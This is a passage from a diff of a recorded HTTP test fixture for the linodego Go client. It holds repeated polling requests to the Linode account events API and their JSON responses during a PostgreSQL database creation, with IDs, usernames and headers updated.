Mon, 24 Jun 2024 19:26:32 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:26:47 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:27:02 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:27:17 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,21 +2339,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "581" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:27:32 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter + - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -281,7 +2367,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -298,15 +2384,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database"}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -320,16 +2406,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:27:47 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -345,7 +2434,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -362,15 +2451,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -384,16 +2473,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:28:02 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -409,7 +2501,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -426,15 +2518,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -448,16 +2540,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:28:17 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -473,7 +2568,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -490,15 +2585,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -512,16 +2607,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:28:32 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -537,7 +2635,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -554,15 +2652,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -576,16 +2674,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:28:47 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -601,7 +2702,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -618,15 +2719,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -640,16 +2741,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:29:02 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -665,7 +2769,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -682,15 +2786,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -704,16 +2808,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:29:17 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -729,7 +2836,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -746,15 +2853,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -768,16 +2875,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:29:32 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -793,7 +2903,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -810,15 +2920,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -832,16 +2942,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:29:47 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -857,7 +2970,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -874,15 +2987,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -896,16 +3009,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:30:02 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -921,7 +3037,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -938,15 +3054,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -960,16 +3076,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:30:17 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -985,7 +3104,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -1002,15 +3121,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -1024,16 +3143,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' 